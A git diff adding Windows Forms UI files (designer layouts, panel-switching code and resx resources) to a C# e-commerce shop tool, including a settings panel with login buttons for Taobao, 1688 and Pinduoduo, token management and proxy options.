((int)(((byte)(249))))); + this.tv.GroupFont = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.tv.GroupTitleColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); + this.tv.HideCollapsedGroup = false; + this.tv.ItemHeight = 32; + this.tv.Location = new System.Drawing.Point(0, 0); + this.tv.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.tv.Name = "tv"; + treeNode1.Name = "清理无流量"; + treeNode1.Text = "清理无流量"; + treeNode2.Name = "店铺优化"; + treeNode2.Text = "店铺优化"; + this.tv.Nodes.AddRange(new System.Windows.Forms.TreeNode[] { + treeNode2}); + this.tv.OverForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.tv.Size = new System.Drawing.Size(140, 561); + this.tv.TabIndex = 4; + this.tv.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.tv_AfterSelect); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.panel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(793, 561); + this.panel1.TabIndex = 5; + // + // panel3 + // + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(0, 28); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(793, 533); + this.panel3.TabIndex = 1; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.panel2.Controls.Add(this.lblName); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(793, 28); + this.panel2.TabIndex = 0; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(5, 6); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(57, 17); + this.lblName.TabIndex = 0; + this.lblName.Text = "lblName"; + // + // OptimizeForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(934, 561); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "OptimizeForm"; + this.Text = "OptimizeForm"; + this.Load += new System.EventHandler(this.OptimizeForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcTreeView tv; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label lblName; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.cs b/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.cs new file mode 100644 index 0000000..37bd4fb --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.cs @@ -0,0 +1,106 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ShopOptimizeForms +{ + public partial class OptimizeForm : Form + { + public Lazy clearNoVisitorForm = new Lazy(); + public OptimizeForm() + { + InitializeComponent(); + } + + private void OptimizeForm_Load(object sender, EventArgs e) + { + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + } + catch { } + } + + + + /// + /// 显示隐藏层 + /// + /// + private void SetForm(Form f) + { + if (f == null) + { + foreach (Control form in panel3.Controls) + { + form.Visible = false; + if (form is Form) + { + panel3.Controls.Remove(form as Form); + } + } + return; + } + + bool had = false; + string sCurrentFormName = f.Name; + for (int i = 0; i < panel3.Controls.Count; i++) + { + if (sCurrentFormName == panel3.Controls[i].Name) + { + had = true; + panel3.Controls[i].Visible = true; + } + else + { + panel3.Controls[i].Visible = false; + } + } + if (had) + { + f = null; + return; + } + f.TopLevel = false; + f.Left = 0; + f.Top = 0; + f.FormBorderStyle = FormBorderStyle.None; + panel3.Controls.Add(f); + f.AutoSize = true; + f.Dock = DockStyle.Fill; + f.Show(); + } + + private void tv_AfterSelect(object sender, TreeViewEventArgs e) + { + MainForm.sCurrentModule = e.Node.Name; + this.lblName.Text = e.Node.Text; + // 如果是一级菜单,不做任何动作 + if (e.Node.Parent == null) return; + new Thread(() => + { + Thread.Sleep(200); + Invoke(new Action(() => + { + switch (e.Node.Name) + { + case "解除限制": + SetForm(clearNoVisitorForm.Value); + break; + //case "商品管理": + // SetForm(shopProductForm.Value); + // break; + } + })); + }).Start(); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.resx b/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/OptimizeForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SystemForms/SystemForm.Designer.cs b/TEMUKJD/KJDForms/SystemForms/SystemForm.Designer.cs new file mode 100644 index 0000000..2d353b5 --- /dev/null +++ b/TEMUKJD/KJDForms/SystemForms/SystemForm.Designer.cs @@ -0,0 +1,165 @@ +namespace LittleRabbit.LittleRabbitForms.SystemForms +{ + partial class SystemForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.TreeNode treeNode1 = new System.Windows.Forms.TreeNode("解除限制"); + System.Windows.Forms.TreeNode treeNode2 = new System.Windows.Forms.TreeNode("系统设置", new System.Windows.Forms.TreeNode[] { + treeNode1}); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.lblName = new System.Windows.Forms.Label(); + this.tv = new LittleRabbit.UserComponent.UcTreeView(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.panel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(793, 561); + this.panel1.TabIndex = 5; + // + // panel3 + // + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(0, 28); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(793, 533); + this.panel3.TabIndex = 1; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.panel2.Controls.Add(this.lblName); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(793, 28); + this.panel2.TabIndex = 0; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(5, 6); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(57, 17); + this.lblName.TabIndex = 0; + this.lblName.Text = "lblName"; + // + // tv + // + this.tv.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.tv.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tv.ChildNodeSelectedBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tv.Cursor = System.Windows.Forms.Cursors.Hand; + this.tv.Dock = System.Windows.Forms.DockStyle.Fill; + this.tv.DrawMode = System.Windows.Forms.TreeViewDrawMode.OwnerDrawAll; + this.tv.ExpandButtonColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(255))))); + this.tv.FullRowSelect = true; + this.tv.GroupBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.tv.GroupFont = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.tv.GroupTitleColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); + this.tv.HideCollapsedGroup = false; + this.tv.ItemHeight = 32; + this.tv.Location = new System.Drawing.Point(0, 0); + this.tv.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.tv.Name = "tv"; + treeNode1.Name = "解除限制"; + treeNode1.Text = "解除限制"; + treeNode2.Name = "系统设置"; + treeNode2.Text = "系统设置"; + this.tv.Nodes.AddRange(new System.Windows.Forms.TreeNode[] { + treeNode2}); + this.tv.OverForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.tv.Size = new System.Drawing.Size(140, 561); + this.tv.TabIndex = 4; + this.tv.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.tv_AfterSelect); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tv); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel1); + this.splitContainer1.Size = new System.Drawing.Size(934, 561); + this.splitContainer1.SplitterDistance = 140; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 6; + // + // SystemForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(934, 561); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "SystemForm"; + this.Text = "SystemForm"; + this.Load += new System.EventHandler(this.SystemForm_Load); + this.panel1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label lblName; + private UserComponent.UcTreeView tv; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SystemForms/SystemForm.cs b/TEMUKJD/KJDForms/SystemForms/SystemForm.cs new file mode 100644 index 0000000..62c2598 --- /dev/null +++ b/TEMUKJD/KJDForms/SystemForms/SystemForm.cs @@ -0,0 +1,104 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SystemForms +{ + public partial class SystemForm : Form + { + public Lazy systemRemoveRestrictionsForm = new Lazy(); + public SystemForm() + { + InitializeComponent(); + } + + private void SystemForm_Load(object sender, EventArgs e) + { + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + } + catch { } + } + + private void tv_AfterSelect(object sender, TreeViewEventArgs e) + { + MainForm.sCurrentModule = e.Node.Name; + this.lblName.Text = e.Node.Text; + // 如果是一级菜单,不做任何动作 + if (e.Node.Parent == null) return; + new Thread(() => + { + Thread.Sleep(200); + Invoke(new Action(() => + { + switch (e.Node.Name) + { + case "解除限制": + SetForm(systemRemoveRestrictionsForm.Value); + break; + //case "商品管理": + // SetForm(shopProductForm.Value); + // break; + } + })); + }).Start(); + } + + /// + /// 显示隐藏层 + /// + /// + private void SetForm(Form f) + { + if (f == null) + { + foreach (Control form in panel3.Controls) + { + form.Visible = false; + if (form is Form) + { + panel3.Controls.Remove(form as Form); + } + } + return; + } + + bool had = false; + string sCurrentFormName = f.Name; + for (int i = 0; i < panel3.Controls.Count; i++) + { + if (sCurrentFormName == panel3.Controls[i].Name) + { + had = true; + panel3.Controls[i].Visible = true; + } + else + { + panel3.Controls[i].Visible = false; + } + } + if (had) + { + f = null; + return; + } + f.TopLevel = false; + f.Left = 0; + f.Top = 0; + f.FormBorderStyle = FormBorderStyle.None; + panel3.Controls.Add(f); + f.AutoSize = true; + f.Dock = DockStyle.Fill; + f.Show(); + } + } +} diff --git a/TEMUKJD/KJDForms/SystemForms/SystemForm.resx b/TEMUKJD/KJDForms/SystemForms/SystemForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/SystemForms/SystemForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.Designer.cs b/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.Designer.cs new file mode 100644 index 0000000..9630acf --- /dev/null +++ b/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.Designer.cs @@ -0,0 +1,348 @@ +namespace LittleRabbit.LittleRabbitForms.SystemForms +{ + partial class SystemRemoveRestrictionsForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label6 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.lbManageToken = new System.Windows.Forms.Label(); + this.lbLogin1688 = new System.Windows.Forms.Label(); + this.lbLoginPdd = new System.Windows.Forms.Label(); + this.lbAdsl = new System.Windows.Forms.Label(); + this.lbLoginTaobao = new System.Windows.Forms.Label(); + this.pbAgentIp = new System.Windows.Forms.PictureBox(); + this.pbManageToken = new System.Windows.Forms.PictureBox(); + this.pbLogin1688 = new System.Windows.Forms.PictureBox(); + this.pbLoginPdd = new System.Windows.Forms.PictureBox(); + this.pbAdsl = new System.Windows.Forms.PictureBox(); + this.pbLoginTaobao = new System.Windows.Forms.PictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.pbAgentIp)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbManageToken)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLogin1688)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoginPdd)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbAdsl)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoginTaobao)).BeginInit(); + this.SuspendLayout(); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.BackColor = System.Drawing.Color.Transparent; + this.label6.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(153)))), ((int)(((byte)(153)))), ((int)(((byte)(153))))); + this.label6.Location = new System.Drawing.Point(201, 287); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(52, 16); + this.label6.TabIndex = 126; + this.label6.Text = "设置代理"; + this.label6.Click += new System.EventHandler(this.pbAgentIp_Click); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Cursor = System.Windows.Forms.Cursors.Hand; + this.label7.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(89)))), ((int)(((byte)(152)))), ((int)(((byte)(240))))); + this.label7.Location = new System.Drawing.Point(199, 267); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(78, 20); + this.label7.TabIndex = 125; + this.label7.Text = "设置代理IP"; + this.label7.Click += new System.EventHandler(this.pbAgentIp_Click); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.BackColor = System.Drawing.Color.Transparent; + this.label5.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(153)))), ((int)(((byte)(153)))), ((int)(((byte)(153))))); + this.label5.Location = new System.Drawing.Point(405, 287); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(52, 16); + this.label5.TabIndex = 123; + this.label5.Text = "进入管理"; + this.label5.Click += new System.EventHandler(this.pbManageToken_Click); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.BackColor = System.Drawing.Color.Transparent; + this.label4.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(153)))), ((int)(((byte)(153)))), ((int)(((byte)(153))))); + this.label4.Location = new System.Drawing.Point(592, 287); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(52, 16); + this.label4.TabIndex = 122; + this.label4.Text = "设置拨号"; + this.label4.Visible = false; + this.label4.Click += new System.EventHandler(this.pbAdsl_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.BackColor = System.Drawing.Color.Transparent; + this.label3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(153)))), ((int)(((byte)(153)))), ((int)(((byte)(153))))); + this.label3.Location = new System.Drawing.Point(592, 143); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(52, 16); + this.label3.TabIndex = 121; + this.label3.Text = "点击登录"; + this.label3.Visible = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.BackColor = System.Drawing.Color.Transparent; + this.label2.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(153)))), ((int)(((byte)(153)))), ((int)(((byte)(153))))); + this.label2.Location = new System.Drawing.Point(405, 143); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(52, 16); + this.label2.TabIndex = 120; + this.label2.Text = "点击登录"; + this.label2.Click += new System.EventHandler(this.pbLogin1688_Click); + // + // label13 + // + this.label13.AutoSize = true; + this.label13.BackColor = System.Drawing.Color.Transparent; + this.label13.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(153)))), ((int)(((byte)(153)))), ((int)(((byte)(153))))); + this.label13.Location = new System.Drawing.Point(201, 143); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(52, 16); + this.label13.TabIndex = 119; + this.label13.Text = "点击登录"; + this.label13.Click += new System.EventHandler(this.pbLoginTaobao_Click); + // + // lbManageToken + // + this.lbManageToken.AutoSize = true; + this.lbManageToken.Cursor = System.Windows.Forms.Cursors.Hand; + this.lbManageToken.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbManageToken.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(174)))), ((int)(((byte)(157))))); + this.lbManageToken.Location = new System.Drawing.Point(403, 267); + this.lbManageToken.Name = "lbManageToken"; + this.lbManageToken.Size = new System.Drawing.Size(79, 20); + this.lbManageToken.TabIndex = 118; + this.lbManageToken.Text = "Token管理"; + this.lbManageToken.Click += new System.EventHandler(this.pbManageToken_Click); + // + // lbLogin1688 + // + this.lbLogin1688.AutoSize = true; + this.lbLogin1688.Cursor = System.Windows.Forms.Cursors.Hand; + this.lbLogin1688.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbLogin1688.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(239)))), ((int)(((byte)(124)))), ((int)(((byte)(27))))); + this.lbLogin1688.Location = new System.Drawing.Point(403, 120); + this.lbLogin1688.Name = "lbLogin1688"; + this.lbLogin1688.Size = new System.Drawing.Size(69, 20); + this.lbLogin1688.TabIndex = 116; + this.lbLogin1688.Text = "登录1688"; + this.lbLogin1688.Click += new System.EventHandler(this.pbLogin1688_Click); + // + // lbLoginPdd + // + this.lbLoginPdd.AutoSize = true; + this.lbLoginPdd.Cursor = System.Windows.Forms.Cursors.Hand; + this.lbLoginPdd.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbLoginPdd.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(0)))), ((int)(((byte)(9))))); + this.lbLoginPdd.Location = new System.Drawing.Point(590, 120); + this.lbLoginPdd.Name = "lbLoginPdd"; + this.lbLoginPdd.Size = new System.Drawing.Size(79, 20); + this.lbLoginPdd.TabIndex = 114; + this.lbLoginPdd.Text = "登录拼多多"; + this.lbLoginPdd.Visible = false; + // + // lbAdsl + // + this.lbAdsl.AutoSize = true; + this.lbAdsl.Cursor = System.Windows.Forms.Cursors.Hand; + this.lbAdsl.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbAdsl.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(89)))), ((int)(((byte)(152)))), ((int)(((byte)(240))))); + this.lbAdsl.Location = new System.Drawing.Point(590, 267); + this.lbAdsl.Name = "lbAdsl"; + this.lbAdsl.Size = new System.Drawing.Size(65, 20); + this.lbAdsl.TabIndex = 112; + this.lbAdsl.Text = "自动拨号"; + this.lbAdsl.Visible = false; + this.lbAdsl.Click += new System.EventHandler(this.pbAdsl_Click); + // + // lbLoginTaobao + // + this.lbLoginTaobao.AutoSize = true; + this.lbLoginTaobao.Cursor = System.Windows.Forms.Cursors.Hand; + this.lbLoginTaobao.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbLoginTaobao.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(107)))), ((int)(((byte)(6))))); + this.lbLoginTaobao.Location = new System.Drawing.Point(199, 120); + this.lbLoginTaobao.Name = "lbLoginTaobao"; + this.lbLoginTaobao.Size = new System.Drawing.Size(65, 20); + this.lbLoginTaobao.TabIndex = 110; + this.lbLoginTaobao.Text = "登录淘宝"; + this.lbLoginTaobao.Click += new System.EventHandler(this.pbLoginTaobao_Click); + // + // pbAgentIp + // + this.pbAgentIp.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbAgentIp.Image = global::LittleRabbit.Properties.Resources.system_proxy; + this.pbAgentIp.Location = new System.Drawing.Point(132, 257); + this.pbAgentIp.Name = "pbAgentIp"; + this.pbAgentIp.Size = new System.Drawing.Size(64, 64); + this.pbAgentIp.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbAgentIp.TabIndex = 124; + this.pbAgentIp.TabStop = false; + this.pbAgentIp.Click += new System.EventHandler(this.pbAgentIp_Click); + // + // pbManageToken + // + this.pbManageToken.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbManageToken.Image = global::LittleRabbit.Properties.Resources.system_pdd_token; + this.pbManageToken.Location = new System.Drawing.Point(336, 257); + this.pbManageToken.Name = "pbManageToken"; + this.pbManageToken.Size = new System.Drawing.Size(64, 64); + this.pbManageToken.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbManageToken.TabIndex = 117; + this.pbManageToken.TabStop = false; + this.pbManageToken.Click += new System.EventHandler(this.pbManageToken_Click); + // + // pbLogin1688 + // + this.pbLogin1688.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbLogin1688.Image = global::LittleRabbit.Properties.Resources.system_1688; + this.pbLogin1688.Location = new System.Drawing.Point(336, 111); + this.pbLogin1688.Name = "pbLogin1688"; + this.pbLogin1688.Size = new System.Drawing.Size(64, 64); + this.pbLogin1688.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbLogin1688.TabIndex = 115; + this.pbLogin1688.TabStop = false; + this.pbLogin1688.Click += new System.EventHandler(this.pbLogin1688_Click); + // + // pbLoginPdd + // + this.pbLoginPdd.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbLoginPdd.Image = global::LittleRabbit.Properties.Resources.system_pdd; + this.pbLoginPdd.Location = new System.Drawing.Point(523, 111); + this.pbLoginPdd.Name = "pbLoginPdd"; + this.pbLoginPdd.Size = new System.Drawing.Size(64, 64); + this.pbLoginPdd.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbLoginPdd.TabIndex = 113; + this.pbLoginPdd.TabStop = false; + this.pbLoginPdd.Visible = false; + this.pbLoginPdd.Click += new System.EventHandler(this.pbLoginPdd_Click); + // + // pbAdsl + // + this.pbAdsl.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbAdsl.Image = global::LittleRabbit.Properties.Resources.system_pppoe; + this.pbAdsl.Location = new System.Drawing.Point(523, 257); + this.pbAdsl.Name = "pbAdsl"; + this.pbAdsl.Size = new System.Drawing.Size(64, 64); + this.pbAdsl.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbAdsl.TabIndex = 111; + this.pbAdsl.TabStop = false; + this.pbAdsl.Visible = false; + this.pbAdsl.Click += new System.EventHandler(this.pbAdsl_Click); + // + // pbLoginTaobao + // + this.pbLoginTaobao.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbLoginTaobao.Image = global::LittleRabbit.Properties.Resources.system_tb; + this.pbLoginTaobao.Location = new System.Drawing.Point(132, 111); + this.pbLoginTaobao.Name = "pbLoginTaobao"; + this.pbLoginTaobao.Size = new System.Drawing.Size(64, 64); + this.pbLoginTaobao.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbLoginTaobao.TabIndex = 109; + this.pbLoginTaobao.TabStop = false; + 